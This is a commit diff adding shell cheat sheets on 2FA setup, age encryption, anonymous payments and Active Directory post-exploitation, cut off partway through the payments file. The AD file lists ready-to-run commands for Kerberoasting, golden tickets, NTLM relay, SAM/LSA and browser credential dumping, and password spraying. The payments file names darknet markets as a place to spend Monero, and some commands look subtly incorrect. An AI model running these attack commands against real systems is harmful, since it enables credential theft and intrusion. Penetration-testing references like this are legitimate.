Add nak (Nostr) + opsec secret-inspection; stage 20 privacy/security cheats

- nak.cheat: fiatjaf's Nostr army knife (placeholder keys + relay picker)
- opsec.cheat: 'inspect secrets without exposing them' section
- Stage 20 previously-untracked cheats (gpg, tor, veracrypt, email-privacy, etc.)
- .gitleaksignore: allowlist the canonical jwt.io example token (verified false positive)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

.gitleaksignore

@@ -0,0 +1,4 @@
+# Verified false positives (reviewed, not real secrets):
+# Canonical jwt.io example token — payload {"sub":"1234567890"} — used to
+# demonstrate JWT decoding in api-testing.cheat. Not a real credential.
+api-testing.cheat:jwt:41

2fa-security.cheat

@@ -0,0 +1,504 @@
+% 2fa, mfa, totp, fido2, yubikey, authentication, otp
+
+# ============================================================================
+# TWO-FACTOR AUTHENTICATION (2FA) OVERVIEW
+# ============================================================================
+
+# What is 2FA?
+# Second layer of security beyond password
+# Something you know (password) + something you have (device/key)
+
+# 2FA methods (from most to least secure)
+# 1. Hardware keys (FIDO2/U2F) - YubiKey, Titan, Nitrokey
+# 2. Authenticator apps (TOTP) - Aegis, Authy, Google Authenticator
+# 3. SMS codes (vulnerable to SIM swapping)
+# 4. Email codes (as secure as your email)
+# 5. Backup codes (one-time use)
+
+# ============================================================================
+# HARDWARE KEYS (FIDO2/U2F) - MOST SECURE
+# ============================================================================
+
+# Hardware key advantages
+# - Phishing resistant (domain-bound)
+# - No SMS interception
+# - No TOTP theft
+# - Physical possession required
+
+# Popular hardware keys
+# YubiKey 5 Series - https://www.yubico.com/
+# Google Titan Security Key - https://store.google.com/
+# Nitrokey - https://www.nitrokey.com/ (open source)
+# OnlyKey - https://onlykey.io/ (advanced features)
+# Thetis FIDO2 - https://thetis.io/ (open source)
+
+# YubiKey setup (Linux)
+# Install pam module for sudo/login
+sudo apt install libpam-u2f
+
+# Register YubiKey
+mkdir -p ~/.config/Yubico
+pamu2fcfg > ~/.config/Yubico/u2f_keys
+
+# Add additional key (backup)
+pamu2fcfg -n >> ~/.config/Yubico/u2f_keys
+
+# Enable for sudo
+sudo nano /etc/pam.d/sudo
+# Add at top: auth required pam_u2f.so
+
+# Enable for login
+sudo nano /etc/pam.d/gdm-password
+# Add: auth required pam_u2f.so
+
+# Test YubiKey
+ykman info
+
+# List YubiKey slots
+ykman otp info
+
+# ============================================================================
+# AUTHENTICATOR APPS (TOTP) - RECOMMENDED
+# ============================================================================
+
+# Best authenticator apps (Android/iOS)
+# Aegis Authenticator (Android, open source, encrypted backups)
+# Raivo OTP (iOS, open source)
+# Authy (cross-platform, cloud backup)
+# andOTP (Android, open source, deprecated - use Aegis)
+
+# Desktop authenticators (Linux)
+# OTPClient - GTK app for TOTP/HOTP
+sudo apt install otpclient
+
+# Generate TOTP from terminal
+oathtool --totp --base32 <SECRET_KEY>
+$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP"
+
+# ============================================================================
+# SETTING UP 2FA ON ACCOUNTS
+# ============================================================================
+
+# Google Account
+# Security → 2-Step Verification → Get Started
+# Add: Authenticator app, hardware key, backup codes
+
+# GitHub
+# Settings → Security → Two-factor authentication → Enable
+# Use: App or security key
+
+# ProtonMail
+# Settings → Security → Two-factor authentication
+# Use: App or hardware key
+
+# Social media (Facebook, Twitter, Instagram)
+# Settings → Security → Two-factor authentication
+# Prefer app over SMS
+
+# Banking/Financial
+# Usually SMS-based (request authenticator app if available)
+# Many support hardware keys now
+
+# ============================================================================
+# BACKUP CODES
+# ============================================================================
+
+# Always save backup codes when enabling 2FA
+# Print and store in secure location (safe, lockbox)
+# Or store encrypted in password manager
+
+# Example backup codes (save these!)
+# 1. 8374-9283-4756
+# 2. 2938-4756-8374
+# 3. 4756-8374-2938
+# (Continue for 8-10 codes)
+
+# Generate backup codes (various services)
+# Google: myaccount.google.com/security → 2-Step Verification → Backup codes
+# GitHub: Settings → Security → Two-factor authentication → Recovery codes
+
+# Store backup codes securely
+# Encrypted password manager
+# Paper in safe
+# Hardware encrypted USB drive
+
+# ============================================================================
+# TOTP SECRET MANAGEMENT
+# ============================================================================
+
+# TOTP secrets (QR codes) are sensitive
+# Store encrypted backup of TOTP secrets
+# Use: Aegis encrypted backup, KeePassXC
+
+# Export Aegis backup
+# Aegis → Settings → Backups → Export (encrypted)
+
+# Import to new device
+# Aegis → Settings → Backups → Import
+
+# Backup TOTP secret keys (text format)
+# Store in password manager alongside password
+
+# ============================================================================
+# SMS 2FA (LEAST SECURE - AVOID IF POSSIBLE)
+# ============================================================================
+
+# SMS 2FA vulnerabilities
+# - SIM swapping attacks
+# - SS7 protocol vulnerabilities
+# - SMS interception
+# - Social engineering attacks on carriers
+
+# Protecting against SIM swapping
+# Add PIN/password to carrier account
+# Use carrier's port freeze feature
+# Register for carrier fraud alerts
+
+# Carrier security settings
+# Verizon: Add Account PIN
+# AT&T: Set passcode, enable extra security
+# T-Mobile: Account Takeover Protection
+
+# If SMS is only option
+# Better than no 2FA
+# Use Google Voice number (harder to SIM swap)
+# Enable carrier port lock
+
+# ============================================================================
+# SETTING UP YUBIKEY FOR COMMON SERVICES
+# ============================================================================
+
+# GitHub with YubiKey
+# Settings → Security → Two-factor authentication
+# Security keys → Register new security key → Insert YubiKey
+
+# Google with YubiKey
+# myaccount.google.com/security → 2-Step Verification
+# Security keys → Add security key
+
+# ProtonMail with YubiKey
+# Settings → Security → Two-factor authentication
+# Security key → Add key
+
+# AWS with YubiKey
+# IAM → Users → Security credentials → Assign MFA device
+# U2F security key
+
+# Windows login with YubiKey
+# Settings → Accounts → Sign-in options
+# Security Key → Add
+
+# ============================================================================
+# TOTP COMMAND LINE (OATHTOOL)
+# ============================================================================
+
+# Install oathtool
+sudo apt install oathtool
+
+# Generate TOTP code
+oathtool --totp --base32 <SECRET_KEY>
+$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP"
+
+# Generate with specific time step (usually 30 seconds)
+oathtool --totp --time-step-size=30s --base32 <SECRET_KEY>
+$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP"
+
+# Verify TOTP code
+oathtool --totp --base32 <SECRET_KEY> <CODE>
+$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP"
+$ CODE: echo "123456"
+
+# ============================================================================
+# PASS-OTP (PASSWORD MANAGER + TOTP)
+# ============================================================================
+
+# pass (password store) with OTP extension
+sudo apt install pass pass-otp
+
+# Initialize password store
+pass init <GPG_KEY_ID>
+$ GPG_KEY_ID: echo "your@email.com"
+
+# Add TOTP secret
+pass otp add <account_name>
+# Enter secret key when prompted
+$ account_name: echo -e "github\\ngoogle\\nprotonmail"
+
+# Generate TOTP
+pass otp <account_name>
+$ account_name: echo -e "github\\ngoogle"
+
+# Show QR code (for backup)
+pass otp uri <account_name> | qrencode -t UTF8
+$ account_name: echo "github"
+
+# ============================================================================
+# KEEPASSXC WITH TOTP
+# ============================================================================
+
+# KeePassXC supports TOTP natively
+# Install KeePassXC
+sudo apt install keepassxc
+
+# Add TOTP to entry
+# Right-click entry → TOTP → Set up TOTP
+# Enter secret key or scan QR code
+
+# Show TOTP code
+# Select entry → TOTP visible in entry details
+
+# Copy TOTP to clipboard
+# Right-click entry → TOTP → Copy TOTP
+
+# ============================================================================
+# AEGIS AUTHENTICATOR (ANDROID)
+# ============================================================================
+
+# Install Aegis
+# F-Droid: https://f-droid.org/packages/com.beemdevelopment.aegis/
+# Play Store: https://play.google.com/store/apps/details?id=com.beemdevelopment.aegis
+
+# Enable encrypted backups
+# Settings → Backups → Enable automatic backups
+# Set strong password for backup encryption
+
+# Export backup
+# Settings → Backups → Export
+
+# Import backup to new device
+# Settings → Import from file → Select backup
+
+# ============================================================================
+# AUTHY (CROSS-PLATFORM)
+# ============================================================================
+
+# Authy advantages
+# Cloud backup (encrypted)
+# Multi-device sync
+# Desktop app available
+
+# Authy disadvantages
+# Closed source
+# Cloud-based (attack vector)
+# Phone number required
+
+# Enable multi-device
+# Settings → Devices → Allow Multi-device
+
+# Disable multi-device after setup (security)
+# Settings → Devices → Disable
+
+# ============================================================================
+# 2FA FOR SSH
+# ============================================================================
+
+# Enable 2FA for SSH with Google Authenticator
+sudo apt install libpam-google-authenticator
+
+# Configure for user
+google-authenticator
+# Answer prompts (yes to most)
+
+# Enable in SSH config
+sudo nano /etc/pam.d/sshd
+# Add: auth required pam_google_authenticator.so
+
+sudo nano /etc/ssh/sshd_config
+# Change: ChallengeResponseAuthentication yes
+# Add: AuthenticationMethods publickey,keyboard-interactive
+
+sudo systemctl restart sshd
+
+# SSH login now requires key + TOTP code
+
+# ============================================================================
+# 2FA FOR SUDO
+# ============================================================================
+
+# Require TOTP for sudo commands
+sudo apt install libpam-google-authenticator
+
+# Setup for user
+google-authenticator
+
+# Enable for sudo
+sudo nano /etc/pam.d/sudo
+# Add at top: auth required pam_google_authenticator.so
+
+# Now sudo requires TOTP code
+
+# ============================================================================
+# 2FA RECOVERY STRATEGIES
+# ============================================================================
+
+# Always have backup method
+# - 2+ hardware keys (keep one offsite)
+# - Backup codes printed and stored securely
+# - Recovery email/phone verified
+
+# Store 2FA backups
+# - Encrypted backup codes in password manager
+# - TOTP seeds stored securely (encrypted)
+# - Hardware key backups in different locations
+
+# Test recovery process
+# Simulate device loss
+# Attempt recovery using backup codes/keys
+# Ensure process works before emergency
+
+# ============================================================================
+# 2FA FOR LINUX DESKTOP LOGIN
+# ============================================================================
+
+# GDM with YubiKey (hardware key login)
+# Already covered in hardware keys section
+
+# GDM with TOTP
+sudo apt install libpam-google-authenticator
+
+# Setup for user
+google-authenticator
+
+# Enable for GDM
+sudo nano /etc/pam.d/gdm-password
+# Add: auth required pam_google_authenticator.so
+
+# ============================================================================
+# 2FA BEST PRACTICES
+# ============================================================================
+
+# Priority list
+# 1. Enable 2FA on all important accounts
+# 2. Use hardware keys where supported
+# 3. Use authenticator apps (not SMS)
+# 4. Save backup codes in multiple secure locations
+# 5. Have backup hardware key
+# 6. Test recovery process
+
+# Accounts requiring 2FA
+# - Email (Gmail, ProtonMail)
+# - Banking/financial
+# - Social media
+# - Password manager
+# - Cloud storage
+# - GitHub/GitLab
+# - Domain registrar
+# - VPN provider
+
+# Never disable 2FA unless
+# - Migrating to stronger method
+# - Account closure
+
+# ============================================================================
+# 2FA MIGRATION (CHANGING DEVICES)
+# ============================================================================
+
+# Before switching phones
+# 1. Backup all TOTP secrets (Aegis encrypted backup)
+# 2. Verify backup codes saved
+# 3. Transfer backup to new device
+# 4. Restore on new device
+# 5. Verify all accounts work
+# 6. Securely wipe old device
+
+# Emergency device loss
+# 1. Use backup codes to login
+# 2. Disable 2FA temporarily
+# 3. Re-enable with new device
+# 4. Generate new backup codes
+
+# ============================================================================
+# COMMON 2FA ISSUES & SOLUTIONS
+# ============================================================================
+
+# "Invalid code" error
+# - Check device time (must be synced)
+# - Wait for next code (30-second window)
+# - Verify correct account
+
+# Sync device time (Linux)
+sudo timedatectl set-ntp true
+timedatectl status
+
+# Lost 2FA device
+# - Use backup codes
+# - Use backup hardware key
+# - Contact service support (last resort)
+
+# Can't access backup codes
+# - Use recovery email/phone
+# - Contact service support with ID verification
+
+# Hardware key not working
+# - Check USB connection
+# - Try different USB port
+# - Update firmware (ykman info)
+# - Use backup key
+
+# ============================================================================
+# ADVANCED: FIDO2 RESIDENT KEYS
+# ============================================================================
+
+# Resident keys (passwordless login)
+# Store credentials on hardware key itself
+
+# Create resident key (YubiKey)
+# Supported services: GitHub, Microsoft, Dropbox
+
+# Generate SSH key on YubiKey (resident)
+ssh-keygen -t ecdsa-sk -O resident -O application=ssh:YubiKey
+
+# List resident keys
+ssh-keygen -K
+
+# ============================================================================
+# TESTING 2FA SECURITY
+# ============================================================================
+
+# Test phishing resistance
+# Try logging in on fake site with hardware key
+# Hardware key should reject (domain mismatch)
+
+# Test TOTP time drift
+# Change system time, test if codes still work
+
+# Test backup recovery
+# Pretend device lost, use backup codes
+
+# Test hardware key backup
+# Disable primary key, use backup key
+
+# ============================================================================
+# 2FA CHECKLIST
+# ============================================================================
+
+# Setup
+# [ ] Enable 2FA on all critical accounts
+# [ ] Use hardware key where possible
+# [ ] Use TOTP app for others (not SMS)
+# [ ] Save backup codes (encrypted, multiple locations)
+# [ ] Purchase backup hardware key
+# [ ] Test recovery process
+
+# Maintenance
+# [ ] Review 2FA methods quarterly
+# [ ] Rotate backup codes yearly
+# [ ] Update authenticator app backups
+# [ ] Verify backup key still works
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# FIDO Alliance
+# https://fidoalliance.org/
+
+# YubiKey documentation
+# https://support.yubico.com/
+
+# 2FA directory (sites supporting 2FA)
+# https://2fa.directory/
+
+# TOTP specification
+# RFC 6238: https://tools.ietf.org/html/rfc6238
+

ad-post-exploit.cheat

@@ -0,0 +1,151 @@
+% active-directory, post-exploitation, lateral-movement
+
+# Rubeus - Kerberos abuse toolkit
+Rubeus.exe kerberoast /outfile:<output_file>
+$ output_file: echo "kerberoast_hashes.txt"
+
+# Rubeus AS-REP roasting
+Rubeus.exe asreproast /format:hashcat /outfile:<output_file>
+$ output_file: echo "asrep_hashes.txt"
+
+# Rubeus golden ticket
+Rubeus.exe golden /rc4:<ntlm_hash> /domain:<domain> /sid:<domain_sid> /user:<username>
+$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
+$ domain: echo -e "corp.local\ndomain.com"
+$ domain_sid: echo "S-1-5-21-xxxxx"
+$ username: echo -e "administrator\nuser"
+
+# Rubeus silver ticket
+Rubeus.exe silver /service:<service_spn> /rc4:<ntlm_hash> /user:<username>
+$ service_spn: echo -e "CIFS/DC01.corp.local\nHTTP/web01.corp.local"
+$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
+$ username: echo "user"
+
+% impacket, lateral-movement
+
+# Impacket GetUserSPNs (Kerberoasting)
+GetUserSPNs.py <domain>/<username>:<password> -dc-ip <dc_ip> -request
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "user"
+$ password: echo "password"
+$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"
+
+# Impacket wmiexec - WMI command execution
+wmiexec.py <domain>/<username>:<password>@<target>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "administrator"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nSRV01.corp.local"
+
+# Impacket smbexec - SMB command execution
+smbexec.py <domain>/<username>:<password>@<target>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "administrator"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nSRV01"
+
+# Impacket ntlmrelayx - NTLM relay attack
+ntlmrelayx.py -t <target> -smb2support
+$ target: echo -e "smb://192.168.1.10\nldaps://DC01.corp.local"
+
+# Impacket secretsdump - dump credentials
+secretsdump.py <domain>/<username>:<password>@<target>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "administrator"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nDC01"
+
+# Impacket psexec - SMB/PsExec execution
+psexec.py <domain>/<username>:<password>@<target>
+$ domain: echo -e "CORP\nDOMAIN"
+$ username: echo "administrator"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nSRV01"
+
+% netexec, lateral-movement
+
+# NetExec (CrackMapExec replacement) SMB enumeration
+nxc smb <target> -u <username> -p <password>
+$ target: echo -e "192.168.1.0/24\n10.0.0.1"
+$ username: echo "user"
+$ password: echo "password"
+
+# NetExec password spray
+nxc smb <target> -u <users_file> -p <password>
+$ target: echo -e "192.168.1.0/24\nDC01"
+$ users_file: echo -e "users.txt\nusers_list.txt"
+$ password: echo -e "Password123\nSummer2023!"
+
+# NetExec dump SAM
+nxc smb <target> -u <username> -p <password> --sam
+$ target: echo -e "192.168.1.10\nSRV01"
+$ username: echo "administrator"
+$ password: echo "password"
+
+# NetExec dump LSA secrets
+nxc smb <target> -u <username> -p <password> --lsa
+$ target: echo -e "192.168.1.10\nDC01"
+$ username: echo "administrator"
+$ password: echo "password"
+
+# NetExec execute command
+nxc smb <target> -u <username> -p <password> -x <command>
+$ target: echo -e "192.168.1.10\nSRV01"
+$ username: echo "administrator"
+$ password: echo "password"
+$ command: echo -e "whoami\nipconfig\nnet user"
+
+% pre-windows-2000, legacy-vulnerabilities
+
+# pre2k - check for Pre-Windows 2000 computers with static passwords
+pre2k auth -u <username> -p <password> -d <domain> -dc-ip <dc_ip> -verbose
+$ username: echo -e "user\nnoprivuser"
+$ password: echo -e "password\nUserPass123!"
+$ domain: echo -e "corp.local\ndomain.com"
+$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"
+
+# pre2k query
+pre2k query -u <username> -p <password> -d <domain> -dc-ip <dc_ip>
+$ username: echo "user"
+$ password: echo "password"
+$ domain: echo "corp.local"
+$ dc_ip: echo "192.168.1.10"
+
+% credential-relay, llmnr
+
+# Responder - LLMNR/NBT-NS poisoning
+responder -I <interface> -wrf
+$ interface: echo -e "eth0\nwlan0\ntun0"
+
+# Responder with specific interface and analysis mode
+responder -I <interface> -A
+$ interface: echo -e "eth0\nwlan0"
+
+# PetitPotam - coerce authentication
+python3 PetitPotam.py <attacker_ip> <target_ip>
+$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50"
+$ target_ip: echo -e "192.168.1.10\nDC01.corp.local"
+
+# WPAD detection
+curl http://wpad.corp.local/wpad.dat
+
+% browser-hijacking, credential-theft
+
+# ChromeElevator - extract Chrome credentials
+ChromeElevator.exe dump
+# Or: ChromeElevator.exe decrypt
+
+# DonPAPI - dump credentials from browsers/apps
+DonPAPI.py <domain>/<username>:<password>@<target>
+$ domain: echo -e "CORP\nWORKGROUP"
+$ username: echo "user"
+$ password: echo "password"
+$ target: echo -e "192.168.1.10\nWORKSTATION01"
+
+# DonPAPI with specific modules
+DonPAPI.py <domain>/<username>:<password>@<target> -m <module>
+$ domain: echo "CORP"
+$ username: echo "user"
+$ password: echo "password"
+$ target: echo "192.168.1.10"
+$ module: echo -e "chrome\nfirefox\nrdp\nvault"

age.cheat

@@ -0,0 +1,202 @@
+% age, encryption, modern-crypto
+
+# ============================================================================
+# AGE - Modern File Encryption (Simpler Alternative to GPG)
+# ============================================================================
+
+# Install age
+sudo apt install age
+
+# Generate age key pair
+age-keygen > key.txt
+
+# Generate key pair with output to specific file
+age-keygen -o ~/.config/age/key.txt
+
+# View public key from private key file
+grep 'public key:' key.txt
+
+# ============================================================================
+# FILE ENCRYPTION
+# ============================================================================
+
+# Encrypt file with recipient's public key
+age --encrypt --recipient <public_key> --output <output_file> <input_file>
+$ public_key: echo "age1abcdef1234567890..."
+$ output_file: echo "secret.age"
+$ input_file: echo "document.txt"
+
+# Short form
+age -e -r <public_key> -o <output> <input>
+
+# Encrypt for multiple recipients
+age -e -r <recipient1> -r <recipient2> -o encrypted.age plaintext.txt
+$ recipient1: echo "age1abc..."
+$ recipient2: echo "age1xyz..."
+
+# Encrypt with passphrase (symmetric)
+age --passphrase --output secret.age document.txt
+
+# Short form
+age -p -o secret.age document.txt
+
+# ============================================================================
+# FILE DECRYPTION
+# ============================================================================
+
+# Decrypt with private key
+age --decrypt --identity <key_file> --output <output> <encrypted_file>
+$ key_file: echo -e "~/.config/age/key.txt\nkey.txt"
+$ output: echo "decrypted.txt"
+$ encrypted_file: echo "secret.age"
+
+# Short form
+age -d -i <key_file> -o <output> <encrypted>
+
+# Decrypt passphrase-encrypted file
+age --decrypt --output decrypted.txt encrypted.age
+# (will prompt for passphrase)
+
+# Decrypt to stdout
+age -d -i key.txt encrypted.age
+
+# ============================================================================
+# SSH KEY INTEGRATION
+# ============================================================================
+
+# Encrypt using SSH public key
+age -e -R ~/.ssh/id_ed25519.pub -o secret.age document.txt
+
+# Decrypt using SSH private key
+age -d -i ~/.ssh/id_ed25519 -o document.txt secret.age
+
+# Convert SSH key to age format
+ssh-keygen -l -f ~/.ssh/id_ed25519.pub | age-keygen -y
+
+# ============================================================================
+# PIPING & STDIN/STDOUT
+# ============================================================================
+
+# Encrypt from stdin
+echo "secret message" | age -e -r <public_key> > message.age
+
+# Decrypt to stdout
+age -d -i key.txt message.age
+
+# Encrypt directory (tar + age)
+tar czf - ~/Documents | age -e -r <public_key> > backup.tar.gz.age
+
+# Decrypt directory
+age -d -i key.txt backup.tar.gz.age | tar xzf -
+
+# ============================================================================
+# GITHUB PUBLIC KEY ENCRYPTION
+# ============================================================================
+
+# Encrypt file for GitHub user
+age -e -R https://github.com/<username>.keys -o secret.age file.txt
+$ username: echo "github_username"
+
+# Example
+age -e -R https://github.com/torvalds.keys -o message.age message.txt
+
+# ============================================================================
+# ADVANCED USAGE
+# ============================================================================
+
+# Encrypt with multiple identity files
+age -e -i key1.txt -i key2.txt -o encrypted.age plaintext.txt
+
+# Use armor format (ASCII, like GPG --armor)
+age --armor -e -r <public_key> plaintext.txt > encrypted.asc
+
+# Encrypt file in-place (replace original)
+age -e -r <public_key> -o temp.age file.txt && mv temp.age file.txt.age && rm file.txt
+
+# Batch encrypt multiple files
+for file in *.txt; do age -e -r <public_key> -o "$file.age" "$file"; done
+
+# ============================================================================
+# KEY MANAGEMENT
+# ============================================================================
+
+# Store keys securely
+mkdir -p ~/.config/age
+chmod 700 ~/.config/age
+age-keygen -o ~/.config/age/key.txt
+chmod 600 ~/.config/age/key.txt
+
+# Multiple identity files
+age-keygen -o ~/.config/age/personal.txt
+age-keygen -o ~/.config/age/work.txt
+
+# Extract public key from private key
+grep 'public key:' ~/.config/age/key.txt | awk '{print $NF}'
+
+# ============================================================================
+# COMPARISON: AGE vs GPG
+# ============================================================================
+
+# AGE advantages:
+# - Simpler syntax
+# - Smaller attack surface
+# - Modern cryptography (ChaCha20-Poly1305, X25519)
+# - No keyservers or web of trust complexity
+# - SSH key integration
+# - Smaller binaries
+
+# GPG advantages:
+# - Mature ecosystem
+# - Email client integration
+# - Web of trust / key signing
+# - Hardware token support (YubiKey)
+# - Detached signatures
+
+# ============================================================================
+# BEST PRACTICES
+# ============================================================================
+
+# Always backup private keys
+cp ~/.config/age/key.txt /secure/backup/location/
+
+# Use SSH keys when possible (one less key to manage)
+age -e -R ~/.ssh/id_ed25519.pub file.txt
+
+# For long-term storage, use multiple recipients
+age -e -r <key1> -r <key2> -r <key3> -o encrypted.age important.txt
+
+# Use passphrase encryption for one-off files
+age -p -o temporary_secret.age temp_file.txt
+
+# Combine with tar for directory encryption
+tar czf - ~/sensitive_dir | age -e -r <public_key> > backup.tar.gz.age
+
+# ============================================================================
+# INTEGRATION WITH OTHER TOOLS
+# ============================================================================
+
+# age with sops (Secrets OPerationS)
+# Encrypt configuration files with age keys
+sops --age <public_key> secrets.yaml
+
+# age with Ansible Vault alternative
+# Use age instead of ansible-vault
+
+# age with password managers
+# Encrypt password database exports
+age -p -o passwords_backup.age passwords.csv
+
+# ============================================================================
+# TROUBLESHOOTING
+# ============================================================================
+
+# "No key for recipient" error
+# Make sure you're using the PUBLIC key for -r flag
+# And PRIVATE key (identity) for -i flag
+
+# Passphrase not working
+# age stores scrypt parameters with file
+# Must use exact same passphrase
+
+# Check age version
+age --version

anonymous-payments.cheat

@@ -0,0 +1,467 @@
+% payments, cryptocurrency, privacy, monero, bitcoin, anonymous-payment
+
+# ============================================================================
+# ANONYMOUS PAYMENT OVERVIEW
+# ============================================================================
+
+# Payment privacy hierarchy (most to least private)
+# 1. Cash (physical, untraceable when spent anonymously)
+# 2. Monero (XMR) - Privacy by default
+# 3. Bitcoin with mixing/CoinJoin - Pseudo-anonymous
+# 4. Bitcoin direct - Pseudo-anonymous (traceable blockchain)
+# 5. Privacy.com virtual cards - Private from merchant, not issuer
+# 6. Credit/debit cards - No privacy
+# 7. PayPal/Venmo - No privacy + real identity required
+
+# Payment tracking concerns
+# - Financial surveillance (banks, payment processors)
+# - Transaction history (permanent record)
+# - Identity linkage (name, address, purchase history)
+# - Merchant tracking (data brokers, analytics)
+
+# ============================================================================
+# CASH (MOST PRIVATE PHYSICAL PAYMENT)
+# ============================================================================
+
+# Cash advantages
+# - No digital trail
+# - No identity required
+# - No financial surveillance
+# - Fungible (every dollar equal)
+
+# Cash disadvantages
+# - Physical only (can't use online)
+# - Requires in-person transaction
+# - Limited for large purchases
+# - Can be seized/stolen
+
+# Anonymous cash spending
+# - Don't use with loyalty cards (breaks anonymity)
+# - Avoid CCTV when possible
+# - Don't combine with credit card in same transaction
+# - For online: Purchase cash gift cards (see below)
+
+# ============================================================================
+# MONERO (XMR) - PRIVACY CRYPTOCURRENCY
+# ============================================================================
+
+# Monero features
+# - Mandatory privacy (all transactions private by default)
+# - Ring signatures (hides sender)
+# - Stealth addresses (hides recipient)
+# - RingCT (hides amount)
+# - Fungible (all XMR equal, no tainted coins)
+
+# Why Monero is private (vs Bitcoin)
+# - Bitcoin: Public ledger (all transactions visible)
+# - Monero: Opaque blockchain (transactions hidden)
+
+# Install Monero CLI wallet
+# Download: https://www.getmonero.org/downloads/
+
+# Linux
+wget https://downloads.getmonero.org/cli/linux64
+tar -xvf monero-linux-*.tar.bz2
+cd monero-*/
+
+# Create Monero wallet
+./monero-wallet-cli --generate-new-wallet <wallet_name>
+$ wallet_name: echo "my-wallet"
+
+# Wallet will generate:
+# - Seed phrase (25 words - BACKUP THIS!)
+# - Wallet address (starts with "4")
+
+# Restore wallet from seed
+./monero-wallet-cli --restore-deterministic-wallet
+
+# Monero GUI wallet (easier for beginners)
+# Download: https://www.getmonero.org/downloads/
+
+# Sync Monero node
+# Full node (downloads entire blockchain, ~150 GB)
+./monerod
+
+# Or use remote node (faster, less private)
+./monero-wallet-cli --daemon-address node.moneroworld.com:18089
+
+# Send Monero
+# In wallet:
+transfer <recipient_address> <amount>
+$ recipient_address: echo "48xxxxx..."
+$ amount: echo "0.5"
+
+# Receive Monero
+# Share your wallet address with sender
+
+# Check balance
+balance
+
+# ============================================================================
+# BUYING MONERO ANONYMOUSLY
+# ============================================================================
+
+# Non-KYC exchanges (no ID required)
+# - LocalMonero (P2P, cash/bank transfer) - https://localmonero.co/
+# - Bisq (decentralized exchange) - https://bisq.network/
+# - AtomicSwaps (swap BTC for XMR)
+# - Crypto ATMs (some support Monero, cash)
+
+# Buy via LocalMonero
+# 1. Visit: https://localmonero.co/
+# 2. Browse offers (cash, bank transfer, gift cards)
+# 3. Select seller (check reputation)
+# 4. Complete trade (follow escrow process)
+# 5. Receive XMR to your wallet
+
+# Buy via Bisq
+# 1. Download Bisq: https://bisq.network/downloads/
+# 2. Trade BTC for XMR (decentralized, non-custodial)
+
+# Atomic swaps (BTC ↔ XMR)
+# Trustless cross-chain swaps
+# Tools: Unstoppable Swap, AtomicSwap
+
+# ============================================================================
+# SPENDING MONERO
+# ============================================================================
+
+# Where to spend XMR
+# - Darknet markets (Tor hidden services)
+# - Privacy-focused services (VPNs, hosting)
+# - P2P sales (LocalMonero, direct trades)
+# - XMR.Bazaar (Monero marketplace) - https://xmrbazaar.com/
+
+# Convert XMR to gift cards
+# Cake Wallet app (swap XMR to gift cards)
+# Coincards.com (buy gift cards with crypto)
+
+# Monero payment processors (for merchants)
+# - BTCPay Server (Monero support)
+# - Globee - https://globee.com/
+# - MoneroPay - https://moneropay.eu/
+
+# ============================================================================
+# BITCOIN PRIVACY (COINJOINS & MIXING)
+# ============================================================================
+
+# Bitcoin privacy problem
+# - Public blockchain (all transactions visible)
+# - Address reuse (links transactions)
+# - Exchange KYC (links identity to address)
+
+# CoinJoin (Bitcoin mixing)
+# Combines multiple transactions to obfuscate sender/receiver
+
+# Wasabi Wallet (CoinJoin built-in)
+# Download: https://wasabiwallet.io/
+
+# Install Wasabi (Linux)
+wget https://github.com/zkSNACKs/WalletWasabi/releases/download/v2.0.0/Wasabi-2.0.0.deb
+sudo dpkg -i Wasabi-2.0.0.deb
+
+# CoinJoin with Wasabi
+# 1. Create wallet
+# 2. Send Bitcoin to wallet
+# 3. Select coins → CoinJoin
+# 4. Wait for CoinJoin round (mixes with others)
+# 5. Receive mixed coins (enhanced privacy)
+
+# Samourai Wallet (Android, CoinJoin)
+# https://samouraiwallet.com/
+# Whirlpool CoinJoin feature
+
+# JoinMarket (DIY CoinJoin)
+# https://github.com/JoinMarket-Org/joinmarket-clientserver
+# Earn fees by providing liquidity for CoinJoins
+
+# ============================================================================
+# LIGHTNING NETWORK (BITCOIN PRIVACY LAYER)
+# ============================================================================
+
+# Lightning Network
+# - Off-chain Bitcoin transactions
+# - Better privacy than on-chain (not recorded on blockchain)
+# - Fast, low fees
+
+# Lightning wallets
+# - Phoenix Wallet (mobile) - https://phoenix.acinq.co/
+# - Breez Wallet (mobile) - https://breez.technology/
+# - Zeus Wallet (mobile, node remote control) - https://zeusln.app/
+
+# Lightning Network privacy
+# - Transactions not on public blockchain
+# - Only sender, receiver, and routing nodes see transaction
+# - Better than on-chain, but not as private as Monero
+
+# ============================================================================
+# PRIVACY.COM (VIRTUAL DEBIT CARDS)
+# ============================================================================
+
+# Privacy.com features
+# - Virtual debit cards (hide real card number)
+# - Merchant-specific cards (each merchant gets unique number)
+# - Single-use cards (expire after one transaction)
+# - Spending limits
+
+# Privacy.com limitations
+# - Not anonymous (Privacy.com knows your identity)
+# - Bank linkage (linked to real bank account)
+# - US-only
+
+# Sign up for Privacy.com
+# https://privacy.com/
+
+# Create virtual card
+# 1. Dashboard → Create Card
+# 2. Set merchant name (optional)
+# 3. Set spending limit
+# 4. Set expiration (single-use or ongoing)
+
+# Use virtual card
+# Enter card number at checkout
+# Privacy.com charges your linked bank account
+
+# Benefits
+# - Merchant doesn't get real card number
+# - Prevents card reuse (if single-use)
+# - Limits fraud (per-card spending limits)
+
+# ============================================================================
+# GIFT CARDS (PSEUDO-ANONYMOUS)
+# ============================================================================
+
+# Buy gift cards with cash
+# - Purchase at store (no ID required)
